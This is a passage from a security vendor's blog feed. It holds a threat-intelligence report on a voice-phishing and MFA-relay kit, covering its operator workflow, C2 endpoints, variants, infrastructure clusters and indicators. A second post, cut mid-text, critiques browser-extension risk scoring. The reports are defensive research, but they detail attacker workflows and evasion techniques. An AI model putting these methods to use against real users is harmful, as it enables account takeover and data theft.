(redacted).</figcaption></figure><p>The existence of these independently branded forks indicates that the tooling has entered a phase of wider distribution — operators who obtained the original panel source are now customizing and reshipping it for their own purposes. As a result, the tooling is now most likely accessible to a broad population of financially motivated threat actors. <b>In total, we’ve identified over 400 domains linked to the attacks, giving an indication of the scale. </b></p><p>It’s easier than ever for attackers to spin up and tear down their phishing infrastructure by abusing a range of legitimate services. This is why we’re focused on detecting the actual malicious page at the end of the chain, regardless of the hosting, infrastructure, or delivery vector.</p><p><b>This is extra useful in this case when we consider that a phone call is the delivery vector — not something that typically email-based phishing controls would be able to intercept</b>.</p><hr/><h1><b>Background</b></h1><p>Since at least August 2025, attackers have been running hybrid social engineering campaigns targeting hundreds of organizations across financial services, technology, cryptocurrency, healthcare, hospitality, and private aviation. </p><ul><li><p><b>August 2025: </b>Tooling made available, used in crypto-focused attacks</p></li><li><p><b>November 2025:</b> Major attacks on enterprise identity platforms begin</p></li><li><p><b>January 2026: </b>Public breaches reported</p></li><li><p><b>March 2026: </b>Activity spikes again</p></li></ul><p>The attacks combine voice phishing with MFA-bypassing adversary-in-the-middle (AiTM) phishing mechanisms that allow the attacker to steal authenticated sessions for target applications — typically enterprise identity providers and cryptocurrency exchanges. Once an identity provider account is compromised, the attackers pivot across connected SaaS platforms — SharePoint, Salesforce, DocuSign, Slack — exfiltrates data, and attempts to extort the victim organization. </p><p>Resulting breaches have already been publicly confirmed at SoundCloud (30 million records), Match Group (Hinge, OkCupid, and Match.com — over 10 million records), Betterment (20 million records), and Crunchbase, among others — all linked to <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/"><u>ShinyHunters-branded</u></a> extortion demands. The group also claimed breaches at Bumble, CarMax, Panera Bread, Harvard, the University of Pennsylvania and others in the same period, using data stolen in the Salesforce breaches in 2025 to identify victims and make the social engineering more convincing.</p><hr/><h1><b>Inside the panels: what Push found</b></h1><p>Push detected an active Okta phishing site with TTPs aligned to the tooling used by SLH and affiliated groups. Through analysis of the phishing infrastructure, we gained direct access to Doko’s Panel and variants, and were able to observe how these attacks unfold from the operator&#39;s perspective — including real victim submission logs from the current week confirming ongoing active operations.</p><p>Doko’s Panel, which takes its name from the Telegram alias of its developer, was linked to ShinyHunters attacks earlier this year. The same persona behind Doko&#39;s Panel has been observed actively recruiting &quot;experienced callers&quot; via Telegram, specifying requirements including fluent English with no accent, and advertising six-to-seven-figure weekly returns — evidence of the professionalized vishing-as-a-service model that complements the phishing kit ecosystem. </p><h2><b>How the attack works</b></h2><p>The general sequence of steps is the same across the panels:</p><ul><li><p><b>The operator calls the target</b> spoofing the organization&#39;s IT helpdesk number, often referencing real employee names or internal ticket numbers to establish trust. The target is directed to a phishing domain — usually following a combosquatting pattern like my&lt;target&gt;internal[.]com or &lt;target&gt;sso[.]com — under the pretext of a mandatory security update, passkey enrollment, or support ticket resolution. </p></li><li><p><b>The victim lands on the phishing domain</b> and is presented with a loading spinner — the anti-bot gate that prevents unauthorized access to the phishing pages.</p></li><li><p><b>The operator accepts the visitor</b> from the admin panel and <b>the victim is redirected</b> to the cloned login page (e.g. Google, Microsoft, Okta).</p></li><li><p><b>The victim enters their email address and password</b>, which is forwarded to the operator&#39;s Telegram channel. The victim sees a processing spinner on the branded login form.</p></li><li><p><b>The operator relays the credentials</b> to the real identity provider. If they&#39;re valid, the attack proceeds. If they&#39;re invalid, the operator can redirect the victim back to the credential entry pages. Assuming MFA is required, the operator issues a redirect to an appropriate MFA capture page — &quot;Submit SMS OTP,&quot; &quot;Submit Gauth OTP,&quot; or &quot;Approve [XX] Prompt,&quot; depending on what the legitimate IdP is presenting.</p></li><li><p><b>The victim submits their OTP or approves the push notification </b>and<b> the operator relays the OTP</b> in their own login session, completes authentication, and captures the session. </p></li><li><p><b>The victim is redirected to a benign page</b> (e.g., Google Drive) or to a support ticket closure screen displaying a fabricated ticket number.</p></li></ul><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/37tinpxZjSb3LUOCdnVKge/b92c9911e992de27f6411f07b0c1e796/Screenshot_2026-05-07_at_12.33.21.png" alt="How the panel is operated during a phishing attack"/><figcaption>How the panel is operated during a phishing attack</figcaption></figure><p></p><p>Functionally, this is the same as a typical AITM attack — except that the stages are performed manually by the attacker instead of automatically proxying the victim’s inputs to the real site. </p><p>This seems like an odd choice. On one hand, this is a very sophisticated version of a voice phishing attack. But on the other, it’s not taking advantage of some of the standard capabilities that common AITM kits have. This more manual approach is something that <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/">Scattered Spider</a> were known for during the <a href="https://www.group-ib.com/blog/0ktapus/"><u>0ktapus</u></a> days. But it doesn’t make much difference to the outcome, or what we can observe to detect the attack in the browser.</p><h2><b>Doko’s Panel</b></h2><p>Let’s take a closer look at the panels themselves. We&#39;ll start with the default version of Doko&#39;s Panel since it’s the most established. It provides a multi-functional framework targeting users of Google, Microsoft Entra, Okta, and popular cryptocurrency exchanges including Abra, Coinbase, Gemini, and Kraken. Its core functionality resides in a client-side JavaScript file (client.js) that establishes the real-time feedback loop between the victim&#39;s browser and the operator&#39;s C2.</p><p>The technical indicators that characterize Doko&#39;s Panel in its standard form include:</p><ul><li><p><b>client.js</b> containing a pingServer() function that sends a JSON POST request to /backend.php every second with the structure { action: &#39;ping&#39;, token, window_id, page, os, browser }. If the response contains a redirect key, the victim&#39;s browser navigates to that path. </p></li><li><p><b>sendTelegramMessage()</b> (aliased to sendtg()), a function for relaying real-time credential submissions and session updates to the operator&#39;s Telegram channel.</p></li><li><p><b>backend.php</b> as the primary server-side handler for both victim ping actions and admin panel operations (retrieving connected victim information, sending redirect instructions).</p></li><li><p><b>j.php</b> as the endpoint for sending Telegram messages, relaying captured credentials and session logs.</p></li></ul><p>Push found that deployments of Doko&#39;s Panel had minimal security by default — anyone was able to view the admin panel and manage visitors&#39; connections without authentication.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1E2c3tIITtYeiD5GtSecxt/91c95bb593188975b1a4a96effb5bea8/image5.png" alt="Anyone can access Doko’s Panel without authentication."/><figcaption>Anyone can access Doko’s Panel without authentication.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2A56uZUHEDmm8RbeW9IpjE/491e686b77dd60a676d0eebb3ca101c6/image2.png" alt="Admin panel controls."/><figcaption>Admin panel controls.</figcaption></figure><h2><b>Panel proliferation and remixes</b></h2><p>Access to Doko&#39;s Panel has clearly proliferated beyond its original developers, resulting in remixes and variants being distributed across the ecosystem. Push identified a variant titled &quot;Lord Mensius&#39;s Panel&quot; targeting Koinly (a cryptocurrency tax platform), and another titled &quot;$$$&quot; using a template impersonating the Australian Tax Office, also targeting cryptocurrency tax filing. </p><p>The existence of these independently branded forks indicates that the tooling has entered a phase of wider distribution — operators who obtained the original panel source are now customizing and reshipping it for their own purposes. As a result, the tooling is now accessible to a broad population of financially motivated threat actors. </p><h2><b>heartbeat/check_redirect variant</b></h2><p>In addition to Doko’s Panel and its forks, the site initially detected by Push used a modified variant of Doko&#39;s Panel with a different C2 protocol. Rather than the standard ping action, this variant sent two types of regular requests from client.js to the backend:</p><ul><li><p><b>Heartbeat</b> — POST to backend.php with action=heartbeat along with page, token, and window_id.</p></li><li><p><b>Check Redirect</b> — GET to backend.php with parameters action=check_redirect along with token and window_id.</p></li></ul><p>A redirect instruction in response to either request causes the victim&#39;s browser to navigate to the specified page. The variant compounds this with a separate inline script embedded in the landing gate HTML — in addition to client.js — that schedules its own sendHeartbeat() and checkRedirect() functions on regular intervals. </p><p>The result is that the victim&#39;s browser sends two pairs of duplicate requests every few seconds (with the inline script transmitting heartbeats in JSON format rather than HTML form-encoded data). This level of broken duplication indicates an inexperienced developer making modifications to unfamiliar code — a pattern reinforced by the LLM-generated artifacts discussed later. </p><p>Additional technical differentiators for this variant include:</p><ul><li><p><b>UUID generation</b> using Math.random() to replace x in the template xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx, rather than the original Doko&#39;s Panel method of constructing a template from [1e7]+-1e3+-4e3+-8e3+-1e11 and replacing [018].</p></li><li><p><b>No central Telegram sending function</b>, though j.php still exists and is called from inline scripts on individual phishing pages.</p></li><li><p><b>No use of FNV-1a</b> to hash-generate the window ID.</p></li></ul><p>Push also found sub-variants hosting Okta phishing pages with additional modifications: a minified client.js script, and a renamed backend endpoint (api_FyekIDWY.php replacing backend.php).</p><h2><b>Revamped admin panel</b></h2><p>Push also found examples of a significantly revamped admin panel, including a version from April 2026 specifically targeting Microsoft as an enterprise identity provider. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6ltgUv6FOGaMkdYNW06uBC/6449e82609fda96af123dfbd09c2f8c0/image8.png" alt="Revamped admin panel specifically targeting M365."/><figcaption>Revamped admin panel specifically targeting M365.</figcaption></figure><p>This panel featured a more sophisticated operator interface with an updated look, quick action buttons, and sound notifications.</p><p>In addition to the standard compromise flow for acquiring email, password, and OTP, this panel provided operator actions for sending Microsoft Teams call instructions to the victim — a Meeting ID and Passcode rendered on a branded page. This capability likely enables further interaction through a channel that supports screensharing, extending the attacker&#39;s reach beyond credential theft into live session manipulation. It also has the potential to make the scenario more believable for the victim.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7G6GLi6twkTrDOGFHU9RNt/a1aa2a7a324ba3eda2f38d21af0e4a85/image3.png" alt="Instructions for joining the attacker’s Teams meeting."/><figcaption>Instructions for joining the attacker’s Teams meeting.</figcaption></figure><p>Other capabilities were referenced in the panel&#39;s source code but did not appear active in the observed deployment:</p><ul><li><p><b>Additional MFA approval pages</b> for Duo and Okta, with the operator providing a code to display to the victim.</p></li><li><p><b>A code execution prompt</b> to instruct the victim to run a command — the placeholder example being mshta to execute a remote HTA file, suggesting a potential bridge from identity compromise into malware delivery.</p></li></ul><p>The admin panel also included settings for restricting access to specific geographic locations and device types, allowing operators to refine their campaign targeting and also avoid detection from unusual devices (often an indicator that the visitor is not a real human and is actually a security tool or bot).</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2nxMJQlSeyBwuFgZIsjeRF/78df4d0e8c75a8171937294c1684b3df/image6.png" alt="Device and country restriction options."/><figcaption>Device and country restriction options.</figcaption></figure><hr/><h1><b>LLM-generated tells: vibe-coded phishing infrastructure</b></h1><p>Evidence of extensive LLM use is extremely prevalent in attacks detected by Push, from LLM-generated phishing kits and tools to vibe-coded cloned pages. Attackers have also been observed leveraging AI–assisted capabilities in SaaS platforms to automate and scale-up their campaigns from an infrastructure and operations perspective. </p><p>The ‘heartbeat’ variant in particular has significant tells of heavy use of LLMs to modify the phishing panel for the operator’s needs. The fact that these are so blatant increases the belief that these tools are being vibe-coded by relatively inexperienced developers with limited regard for operational security.</p><p>Some versions of client.js begin with verbose header comments that no human developer would write:</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2XOX0xzOxsmBKUuQbup47x/a624c2141879f9238704167a35fdeb39/Screenshot_2026-05-07_at_12.53.27.png" alt="Verbose phishing kit comments (a clear sign of AI involvement)."/><figcaption>Verbose phishing kit comments (a clear sign of AI involvement).</figcaption></figure><p>The &quot;NOTES FOR NEXT SESSION&quot; header is particularly telling — it&#39;s a pattern generated by LLMs that maintain context between chat sessions, not a convention any human developer would adopt in production code, let alone in a phishing kit where operational security should discourage self-documenting infrastructure.</p><p>The admin panel HTML contains similarly over-documented opening comments:</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2VIaWB9ExM6nmURNtoP7f4/bc72afef6d151c7e9d5be71f0c74a651/Screenshot_2026-05-07_at_12.53.08.png" alt="More verbose phishing kit comments."/><figcaption>More verbose phishing kit comments.</figcaption></figure><p>One of the Okta cloned login pages observed by Push contained the following comments suggesting the use of an LLM to create the clone:</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/5UL0neYANY9ECegc0JsDzL/45a4576d016d9fa806598cabaf493a0f/Screenshot_2026-05-07_at_12.53.49.png" alt="Evidence of LLM use in cloning the Okta login pages."/><figcaption>Evidence of LLM use in cloning the Okta login pages.</figcaption></figure><p>The cloned Microsoft login pages displayed previously contain terser comments, but still typical of useless comments that are included by an LLM rather than a human author, especially a malware/phishing author:</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6yXfx49paHKklV1iLfGiBP/6eb461b66533a9ef25eb671370c8f316/Screenshot_2026-05-07_at_12.54.09.png" alt="LLM comments not typically included by a human author."/><figcaption>LLM comments not typically included by a human author.</figcaption></figure><p>The broken duplication in the heartbeat variant — where an inline script and client.js independently schedule the same backend requests using slightly different data formats — is consistent with an operator pasting requirements into an LLM and accepting the output without understanding the existing codebase well enough to recognize the redundancy.</p><p>Clearly, the barrier to entry for building (or forking) and operating a real-time vishing phishing panel is lower than the effectiveness of the tooling might suggest.</p><hr/><h1><b>Infrastructure clustering and attribution</b></h1><p>Through analysis of phishing domains, hosting infrastructure, and technical indicators in the panel source code, <b>we’re highlighting four distinct infrastructure clusters associated with this tooling. </b>While the panels share common heritage, the operators deploying them appear to be separate groups with different infrastructure preferences and operational patterns.</p><h2>Cluster A</h2><p>The indicators for Cluster A overlap with <a href="https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft"><u>Mandiant’s reporting on UNC6661</u></a>. Mandiant also attributes the extortion activity following UNC6661 intrusions to UNC6240, aka ShinyHunters.</p><table><tr><td><p><b>Tool</b></p></td><td><p><b>Doko’s Panel</b></p></td></tr><tr><td><p>client.js</p></td><td><p>8a01bcb70ec1c101a163c9cb8e074781c1322096f7ae01789f02252854def44c</p><p>f574b6e6b3a968cda5f51bec2c090d8eb095fbcfc383314f94bc15676a0d6692</p></td></tr><tr><td><p>Timeframe</p></td><td><p>November 2025 - present (April 2026)</p></td></tr><tr><td><p>Domain Patterns</p></td><td><p>&lt;target&gt;internal.com
&lt;target&gt;sso.com</p><p>my&lt;target&gt;.com</p><p>my&lt;target&gt;internal.com</p><p>my&lt;target&gt;manager.com</p><p>my&lt;target&gt;sso.com</p></td></tr><tr><td><p>Examples</p></td><td><p>mydropboxinternal.com (November 2025)</p><p>myxerointernal.com (December 2025)</p><p>amazoninternal.com (March 2026)</p><p>mydisneysso.com (March 2026)</p></td></tr><tr><td><p>Registrar</p></td><td><p>NiceNIC</p></td></tr><tr><td><p>Name Servers</p></td><td><p>1984.is FreeDNS</p></td></tr><tr><td><p>Hosting Provider</p></td><td><p>Mevspace (AS201814)</p></td></tr></table><h2>Cluster B</h2><p>The indicators for Cluster B overlap with <a href="https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft"><u>Mandiant’s reporting on UNC6671</u></a>. <a href="https://rhisac.org/threat-intelligence/extortion-in-the-enterprise-defending-against-blackfile-attacks/"><u>Other external reporting</u></a> has linked this group to BlackFile-branded extortion and leaks.</p><table><tr><td><p><b>Tool</b></p></td><td><p><b>heartbeat/check_redirect variant</b></p></td></tr><tr><td><p>client.js</p></td><td><p>c0df36ccf88d5c8434b13b58f7a55a9715643a126148b9d078a93075d09cad26</p><p>d178dc7108fa9344dae28e350e810352e9e874563496dc7876ee628b11b0eabb</p><p>9c0939960e49122196e44b6779fe55dd7a13ab437ce251c8cf35f8c6daf8be21</p><p>e8128b33259f7ea4313c942689ba0ba557f17b1474f2e621c62a5b77674fab86</p></td></tr><tr><td><p>Timeframe</p></td><td><p>January 2026</p></td></tr><tr><td><p>Domain Patterns</p></td><td><p>&lt;target&gt;internal.com</p><p>&lt;target&gt;sso.com</p><p>my&lt;target&gt;sso.com</p></td></tr><tr><td><p>Examples</p></td><td><p>epicgamessso[.]com (December 2025)</p><p>myadyeninternal[.]com (January 2026)</p><p>mysonossso[.]com (January 2026)</p><p>sonosinternal[.]com (January 2026)</p></td></tr><tr><td><p>Registrar</p></td><td><p>Tucows</p></td></tr><tr><td><p>Name Servers</p></td><td><p>Njalla</p></td></tr><tr><td><p>Hosting Provider</p></td><td><p>Njalla (AS39287)</p></td></tr></table><h2>Cluster C</h2><p>Cluster C is likely an evolution of Cluster B. Some evidence has been observed tying the backend hosting to Njalla behind the Cloudflare CDN further solidifying the link. The shift to Cloudflare Turnstile protection and subdomain-based targeting represents an operational refinement — moving away from the distinctive [target]internal[.]com pattern that had become a well-known campaign indicator.</p><table><tr><td><p><b>Tool</b></p></td><td><p><b>heartbeat/check_redirect variant protected with Cloudflare turnstile</b></p></td></tr><tr><td><p>client.js</p></td><td><p>cb1d409278b2247af23e7b00ac779b232baaf4ce5f63fdf5ebc3920a38cc6102</p></td></tr><tr><td><p>Timeframe</p></td><td><p>March 2026 - present (April 2026)</p></td></tr><tr><td><p>Domain Patterns</p></td><td><p>&lt;target&gt; subdomain with generic “sso”, “passkey”, “enroll”, “okta” theme root domain</p></td></tr><tr><td><p>Examples</p></td><td><p>&lt;target&gt;.passkeysetup.com (March 2026)</p><p>&lt;target&gt;.enrollms.com (March 2026)</p><p>&lt;target&gt;.keyokta.com (April 2026)</p><p>&lt;target&gt;.passkeywork.com (April 2026)</p></td></tr><tr><td><p>Registrar</p></td><td><p>Tucows</p></td></tr><tr><td><p>Name Servers</p></td><td><p>Cloudflare</p></td></tr><tr><td><p>Hosting Provider</p></td><td><p>Cloudflare (AS13335)</p></td></tr></table><h2>Cluster D</h2><table><tr><td><p><b>Tool</b></p></td><td><p><b>heartbeat/check_redirect variant (minified)</b></p></td></tr><tr><td><p>client.js</p></td><td><p>9d65dd34384b441505e6b67647153c02d5c367bb53da36ce36a392e70b37940a</p></td></tr><tr><td><p>Timeframe</p></td><td><p>April 2026 (low volume)</p></td></tr><tr><td><p>Domain Patterns</p></td><td><p>&lt;target&gt; subdomain with generic “passkey”, “portal”, “okta” theme root domain</p></td></tr><tr><td><p>Examples</p></td><td><p>&lt;target&gt;.passkeyportalsetup.com</p><p>&lt;target&gt;.addoktapasskey.com</p></td></tr><tr><td><p>Registrar</p></td><td><p>NiceNIC</p></td></tr><tr><td><p>Name Servers</p></td><td><p>Cloudflare</p></td></tr><tr><td><p>Hosting Provider</p></td><td><p>Cloudflare (AS13335)</p></td></tr></table><hr/><h1><b>Detection considerations</b></h1><p>For Push, the detection approach to these panels is fundamentally the same as for any other phishing kit — behavioral analysis of the rendered page in the browser, regardless of the C2 protocol running underneath. </p><p>The main operational difference is on the operator end, where the human-in-the-loop interaction replaces fully automated credential harvesting. This has implications for defenders relying on proactive infrastructure scanning: the gated landing pages, anti-bot checks, and operator-approval requirements mean the malicious content is only served to active targets, making it significantly harder for automated scanners to discover and flag these domains before they&#39;re used against a victim.</p><p><b>The phone call as delivery vector eliminates the email-based detection surface that most organizations rely on as their primary phishing defense. </b>Operator-gated payload delivery further reduces the likelihood that these sites will be flagged as malicious and added to known-bad detection lists (and in any case, it’s trivial for attackers to spin up new ones). This reinforces the need for browser-based detection at the point the user interacts with the page, analyzing it in real time for malicious content without relying on static IoCs. </p><hr/><h1><b>Indicators of compromise</b></h1><p>Short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to <a href="https://phishing-techniques.pushsecurity.com/techniques/domain-rotation-redirection/">quickly spin up and rotate the sites used</a> in the attack chain, often dynamically serving different URLs to site visitors. </p><p><a href="https://www.virustotal.com/gui/collection/0f745e9da6ef7664444594a7ee930cfe5a9d8bd6c2f039dcde818599b8926610">The full list of IoCs is on VirusTotal here. </a></p><p><b>Push customers do not need to take any further action.</b></p><hr/><h1><b>Learn more about Push</b></h1><p>Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can&#39;t see.

Book a <a href="https://pushsecurity.com/demo">live demo</a> to learn more.</p>]]></content:encoded>
    </item>
    <item>
      <title>Why relying on browser extension risk scoring is an antipattern that won’t predict your next breach</title>
      <link>https://pushsecurity.com/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach</guid>
      <pubDate>Wed, 29 Apr 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Detection &amp; response</category>
      <category>Browser-based attacks</category>
      <description>Why typical browser extension risk scores are poor predictors of which extensions will actually lead to a compromise.</description>
      <content:encoded><![CDATA[<p><b>TL;DR:</b> Traditional extension risk scores — based on data like permissions, store metadata, code analysis, and developer reputation — are poor predictors of which extensions will actually lead to a compromise. The extensions behind every major breach of the past 18 months scored as normal or low-risk beforehand. </p><p>If your strategy is &quot;remove the highest-risk extensions,&quot; you&#39;re optimizing for the wrong question. The more effective approach is to implement an allowlist, block the rest, and monitor the approved set for the changes — like ownership transfers and permission escalations — that actually precede real-world attacks. </p><p>Browser extensions have become one of the most talked-about attack surfaces in security over the past 18 months, and understandably so — a string of high-profile supply chain compromises have collectively impacted tens of millions of users since late 2024 (<a href="https://www.cyberhaven.com/blog/cyberhavens-chrome-extension-security-incident-and-what-were-doing-about-it"><u>Cyberhaven</u></a>, <a href="https://thehackernews.com/2025/12/darkspectre-browser-extension-campaigns.html">DarkSpectre</a>, <a href="https://thehackernews.com/2025/12/trust-wallet-chrome-extension-hack.html"><u>Trust Wallet</u></a>, among many others). </p><p>But as the industry scrambles to respond, there&#39;s a tendency to treat browser extension management as an entirely new paradigm that requires a new approach, particularly risk scoring systems that attempt to rate each extension on a spectrum from safe to dangerous.</p><p>We think this framing misses the point, and that it&#39;s leading security teams toward a strategy that won&#39;t protect them from the attacks that actually cause damage.</p><hr/><h1><b>The practical problem: &quot;just remove the high-risk ones&quot; doesn&#39;t work</b></h1><p>The strategy we see most often is some version of &quot;identify and remove the highest-risk extensions.&quot; On the surface this seems reasonable — you can&#39;t address everything, so you prioritize. The problem is that it doesn&#39;t materially reduce your exposure to the attacks that are actually happening.</p><p><b>Browser extension attacks almost always follow one of two patterns: </b></p><ul><li><p>A legitimate developer is compromised through consent phishing, session theft, or AiTM phishing, and a malicious update is pushed to the existing user base. Cyberhaven is a good example of this — a developer got consent phished with a specific app that granted the attacker access to the extension store.</p></li><li><p>An attacker builds or acquires a clean extension, operates it legitimately until it accumulates a sufficient user base, then deploys a malicious update. GitLab&#39;s threat intelligence team documented a cluster of<a href="https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/"> <u>16 extensions impacting 3.2 million users</u></a> where access had been acquired from original developers rather than via compromise.</p></li></ul><p><b>This means that real-world extension breaches aren&#39;t coming from extensions that looked risky beforehand.</b> If your strategy is &quot;identify and remove the highest-risk extensions,&quot; you&#39;re optimizing for the wrong thing — because even extensions that score as moderate or low risk by every conventional measure still have the permissions and access needed for a full compromise. <b>If you skim off the top 10% “riskiest” extensions, 90% of the extensions in your environment could still become a breach vector. </b></p><hr/><h1><b>What risk scoring is designed to measure — and why it can’t predict future compromise</b></h1><p>Most extension risk scoring systems evaluate some combination of permissions, install count, user ratings, code analysis, developer reputation, and web store trust signals. Nice-to-have data points, but with a common limitation: they describe the extension as it is today, not what it will become after the next update. That makes them poor predictors of the thing that actually causes breaches — a previously-clean extension being weaponized through a supply chain compromise.</p><p>It&#39;s worth examining why each signal falls short as a predictor specifically of future compromise, because the failure modes are different and well-documented.</p><h2>Permissions</h2><p>Permissions are the most meaningful input to a risk score, because they determine what an extension is <i>capable</i> of doing if it turns malicious. An extension with access to cookies, scripting, and broad host permissions can steal session tokens, log keystrokes, and exfiltrate data from any site the user visits. This is the data that actually answers the question &quot;what could this extension do to us if it went bad?&quot;</p><p>The problem is that these permissions are extraordinarily common. We analyzed a sample of 20,000 unique extensions deployed across Push customers and found that <b>46.76% have the permission combinations needed to perform account takeover with no user interaction</b>. </p><p>These figures also understate the real exposure. One of the most straightforward attack techniques involves injecting content scripts into web pages to hook request functions and extract cookies. The user-facing warning Chrome shows for this capability — &quot;Read and change all your data on the websites you visit&quot; — is the same generic string shown for ad blockers, password managers, and translation tools. </p><p>You can&#39;t practically remove everything that <i>could</i> be dangerous, because that includes most of the extensions people actually use for work. And if you set the threshold lower to keep the list manageable, you&#39;re excluding extensions that have the same permissions and pose the same theoretical risk.</p><h2>Install counts, ratings, developer reputation, and web store badges</h2><p>These signals share a common failure mode, so it&#39;s worth addressing them together: they all describe the extension&#39;s <i>reputation</i> at a point in time, and attackers have both the means and the incentive to ensure that reputation looks clean.</p><p><b>Install count </b>is sometimes used as a proxy for trustworthiness, on the assumption that widely-adopted extensions are more likely to be legitimate. In practice, high install count is often a <i>precondition</i> for the attack rather than a signal against it. </p><p>Attackers who acquire or build extensions are specifically waiting for the install base to grow before weaponizing — what researchers are calling the &quot;<a href="https://www.malwarebytes.com/blog/news/2025/12/sleeper-browser-extensions-woke-up-as-spyware-on-4-million-devices"><u>sleeper agent</u></a>&quot; strategy. Install counts can also be easily inflated with bots, meaning that using them as a positive risk signal actively rewards the attackers who are best at gaming the system.</p><ul><li><p>The <a href="https://thehackernews.com/2025/12/darkspectre-browser-extension-campaigns.html"><u>DarkSpectre campaign</u></a> accumulated over 8.8 million compromised browsers across extensions that held &quot;verified&quot; status and healthy install counts throughout a seven-year operational period. </p></li><li><p>The <a href="https://www.ox.security/blog/malicious-chrome-extensions-steal-chatgpt-deepseek-conversations/"><u>AITOPIA</u></a> impersonation extensions had over 900,000 combined installs and a Google &quot;Featured&quot; badge. </p></li><li><p>Cyberhaven had approximately 400,000 users at the time of compromise. </p></li></ul><p><b>User ratings</b> suffer from the same problems. Attackers use bot networks to generate positive reviews, and even genuinely clean extensions will carry good ratings right up until they&#39;re compromised. By the time users start leaving negative reviews the attack has already run its course.</p><p><b>Developer reputation and &quot;Featured&quot; and &quot;Verified&quot;</b> <b>badges</b> fail for a related but slightly different reason: the attack typically doesn&#39;t come from a known-bad developer. It comes from a reputable developer whose account has been compromised, or from an extension that has changed hands. </p><p>Extensions compromised in the broader campaign impacting Cyberhaven had been legitimate, well-maintained tools with strong developer reputations before the developer accounts were phished. Likewise, the <a href="https://thehackernews.com/2026/03/chrome-extension-turns-malicious-after.html"><u>QuickLens and ShotBird ownership transfer attacks</u></a> in March 2026 involved extensions acquired through a legitimate marketplace, with malicious code introduced after the sale. Developer reputation at time of installation told you nothing about the developer at time of attack. </p><p>The net result across all of these signals is that the extensions most likely to appear in breach headlines — established tools with large user bases, good ratings, verified badges, and reputable developers — are precisely the ones that risk scoring would rate as low-risk.</p><h2>Code analysis</h2><p>Static analysis of extension code is the approach that sounds most rigorous, and it&#39;s the basis for Chrome Web Store&#39;s own review process. Google operates a hybrid system combining automated analysis and manual review, with manual review typically reserved for submissions that trigger specific signals such as sensitive permissions or large code volumes.</p><p>But attackers have developed reliable techniques to pass these checks, and the specific evasion methods used in major campaigns illustrate why static analysis consistently falls short. </p><ul><li><p>The Cyberhaven compromise used dynamically loaded content fetched from a remote server via service workers, with the C2 infrastructure delivering different malicious configurations to different end-users — meaning that even if a scanner fetched the remote payload, it might receive a benign configuration depending on the target profile.</p></li><li><p>The GhostPoster campaign (part of the broader DarkSpectre operation) took evasion further still: the extension waited 48 hours between configuration check-ins and only loaded a malicious payload 10% of the time. No sandbox is running for 48 hours, and a 10% activation rate means that nine out of ten analysis runs would see nothing at all.</p></li></ul><p>These are not outlier techniques. Across the major campaigns documented since late 2024 — including the 108-extension campaign <a href="https://thehackernews.com/2026/04/108-malicious-chrome-extensions-steal.html">discovered in April 2026 </a>— some combination of dynamically loaded payloads, conditional execution, time-delayed activation, and base64-encoded endpoints has been present in virtually every case. If these techniques are bypassing Google&#39;s own review infrastructure, which has both the scale and the incentive to detect them, they will bypass third-party code analysis tools as well.</p><p>It&#39;s also worth noting that Chrome Web Store policy explicitly disallows code obfuscation, precisely because it makes review impossible. The fact that attackers have found ways to hide malicious behavior without technically obfuscating their code speaks to the fundamental asymmetry at play: the attacker controls when and how malicious functionality appears, and static analysis can only evaluate what&#39;s present at the time of review.</p><h2>But extension scores combine all of these things …</h2><p>The obvious counterargument is that no serious risk scoring system relies on any single signal in isolation — the value is supposed to come from combining permissions, install count, ratings, code analysis, and developer reputation into a composite score that&#39;s more predictive than any individual input. In theory, this sounds like the right approach: weak signals aggregated together should produce a stronger signal.</p><p><b>In practice, combining signals that are individually unable to predict supply chain compromise doesn&#39;t produce a signal that can. </b>Aggregating a set of backward-looking indicators doesn&#39;t make the aggregate forward-looking; it just gives you a more detailed description of the present state, which is the state before the attack has happened. No weighting or combination of install count, code behavior, and developer reputation would have flagged Cyberhaven, or DarkSpectre, or Trust Wallet before the malicious update shipped, because at that point every input to the composite score was returning a legitimate value.</p><p>Meanwhile, the indicators that <i>do</i> predict real-world compromise — an extension changing ownership, a developer account being phished, an update introducing behavior that wasn&#39;t present in prior versions, or an extension being explicitly confirmed as malicious through threat intelligence — aren&#39;t predictive risk score inputs. <b>They&#39;re discrete events that require monitoring and an immediate response, not a recalculated number on a dashboard. </b>This is an important distinction: the signals that matter are changes over time, not static attributes at a point in time, and they call for a detection-and-response workflow rather than a periodic risk review.</p><hr/><h1><b>What works instead</b></h1><p>If the goal is to reduce your exposure to extension-based supply chain compromise rather than to generate a ranked list of risk, the approach is operationally straightforward — even if it requires more discipline than deploying a scoring dashboard.</p><h2>Reduce your attack surface through allowlisting</h2><p>Build a complete inventory of every extension running across your environment — what&#39;s installed, how it got there (managed deployment, manual install, sideloaded, developer mode), what permissions it has, who&#39;s using it, and whether it serves a legitimate work purpose. Then create a strict allowlist of vetted and approved extensions and block everything else.</p><p>This is the same default-deny approach that&#39;s been best practice for firewall policy and endpoint allowlisting for 